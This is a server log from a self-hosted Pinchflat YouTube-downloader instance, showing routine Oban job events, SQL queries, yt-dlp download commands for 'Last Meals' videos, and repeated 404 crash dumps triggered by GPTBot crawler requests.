[info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:57:28.985 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:54.692 [info] GET /sources/2/media/76/force_download 22:57:54.692 [debug] QUERY OK source="settings" db=0.2ms idle=628.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:57:54.693 [debug] QUERY OK source="settings" db=0.1ms idle=629.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:57:54.693 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:57:54.693 [error] #PID<0.5192.0> running PinchflatWeb.Endpoint (connection #PID<0.5191.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/2/media/76/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/76/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5191.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/76/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 48868}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/76", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5192.0>, params: %{}, path_info: ["sources", "2", "media", "76", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/2/media/76"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/2/media/76/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDh8CO_DXQP3cQAAd-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5191.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/76/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 48868}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/76", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/76/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5191.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/76/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 48868}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/76", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5192.0>, params: %{}, path_info: ["sources", "2", "media", "76", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => { (truncated) 22:57:58.987 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.698 [info] {"source":"oban","duration":220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:58:13.875 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZECpNhIMRUE --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/0e/05/0e05cd49c91ec270914affe615194ac4622bfc1b3b406870ce5dcf669e420a07.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:58:13.886 [debug] Running yt-dlp command for action: download_thumbnail 22:58:13.886 [debug] QUERY OK source="settings" db=0.0ms idle=1822.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:58:13.886 [debug] QUERY OK source="settings" db=0.0ms idle=1822.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:58:13.886 [debug] QUERY OK source="settings" db=0.0ms idle=1822.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:58:13.886 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZECpNhIMRUE --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/113/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/3a/42/3a42be1ccf26df46733fc463af3d6cfedbbf0682000efb06cafa510898b1d6ae.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:58:16.612 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZECpNhIMRUE --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/113/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/3a/42/3a42be1ccf26df46733fc463af3d6cfedbbf0682000efb06cafa510898b1d6ae.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:58:16.613 [debug] QUERY OK db=0.0ms idle=1549.6ms begin [] 22:58:16.614 [debug] QUERY OK source="media_items" db=0.8ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:58:13Z], "/downloads/Last Meals/2025-05-22 Måneskin’s Damiano David Eats His Last Meal/Måneskin’s Damiano David Eats His Last Meal [ZECpNhIMRUE].mp4", ~U[2026-03-28 02:58:16Z], 113] 22:58:16.614 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/113/metadata.json.gz", "/config/metadata/media_items/113/thumbnail.jpg", 113, ~U[2026-03-28 02:58:16Z], ~U[2026-03-28 02:58:16Z]] 22:58:16.614 [debug] QUERY OK db=0.0ms commit [] 22:58:16.615 [debug] QUERY OK source="media_items" db=0.8ms idle=1551.5ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [453098487, ~U[2026-03-28 02:58:16Z], 113] 22:58:16.616 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:58:16.616 [info] {"args":{"id":113},"id":112,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":142570288,"event":"job:stop","queue_time":7584045400,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:58:16.616 [debug] QUERY OK source="tasks" db=0.3ms idle=986.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:58:16.616 [debug] QUERY OK source="tasks" db=0.3ms idle=553.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:58:16.617 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [212] 22:58:16.617 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [212] 22:58:28.988 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:46.960 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NEoBd6hVLnw --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1d/87/1d87f6783fcb679416246a6b94f3d4170efdb75c6b39ba02c51970e856fe388a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:58:46.970 [debug] Running yt-dlp command for action: download_thumbnail 22:58:46.971 [debug] QUERY OK source="settings" db=0.1ms idle=907.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:58:46.971 [debug] QUERY OK source="settings" db=0.0ms idle=907.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:58:46.971 [debug] QUERY OK source="settings" db=0.0ms idle=907.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:58:46.971 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NEoBd6hVLnw --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/212/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/3d/52/3d528c4b7920064164c27a6b4a101c64c975362f610429147b3a539c6176fd6c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:58:49.847 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NEoBd6hVLnw --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/212/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/3d/52/3d528c4b7920064164c27a6b4a101c64c975362f610429147b3a539c6176fd6c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:58:49.848 [debug] QUERY OK db=0.0ms idle=1784.5ms begin [] 22:58:49.848 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:58:46Z], "/downloads/Last Meals/2024-10-15 Ella Purnell Eats Her Last Meal/Ella Purnell Eats Her Last Meal [NEoBd6hVLnw].mp4", ~U[2026-03-28 02:58:49Z], 212] 22:58:49.849 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/212/metadata.json.gz", "/config/metadata/media_items/212/thumbnail.jpg", 212, ~U[2026-03-28 02:58:49Z], ~U[2026-03-28 02:58:49Z]] 22:58:49.849 [debug] QUERY OK db=0.0ms commit [] 22:58:49.850 [debug] QUERY OK source="media_items" db=0.7ms idle=1786.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [352737871, ~U[2026-03-28 02:58:49Z], 212] 22:58:49.850 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:58:49.851 [info] {"args":{"id":212},"id":113,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":117083058,"event":"job:stop","queue_time":7640767391,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:58:49.851 [debug] QUERY OK source="tasks" db=0.2ms idle=174.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:58:49.851 [debug] QUERY OK source="tasks" db=0.3ms idle=1176.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:58:56.759 [info] GET /sources/1/media/95/force_download 22:58:56.760 [debug] QUERY OK source="settings" db=0.2ms idle=1696.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:58:56.760 [debug] QUERY OK source="settings" db=0.1ms idle=1696.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:58:56.761 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:58:56.761 [error] #PID<0.5204.0> running PinchflatWeb.Endpoint (connection #PID<0.5203.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/95/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/95/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5203.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/95/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49008}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/95", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5204.0>, params: %{}, path_info: ["sources", "1", "media", "95", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/95"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/95/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDh_pdCUqR4RK4AAYAC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5203.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/95/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49008}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/95", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/95/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5203.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/95/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49008}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/95", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5204.0>, params: %{}, path_info: ["sources", "1", "media", "95", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => { (truncated) 22:58:58.989 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.699 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:59:28.991 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:58.993 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.700 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:00:00.991 [info] GET /sources/2/media/86/force_download 23:00:00.992 [debug] QUERY OK source="settings" db=0.2ms idle=928.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM 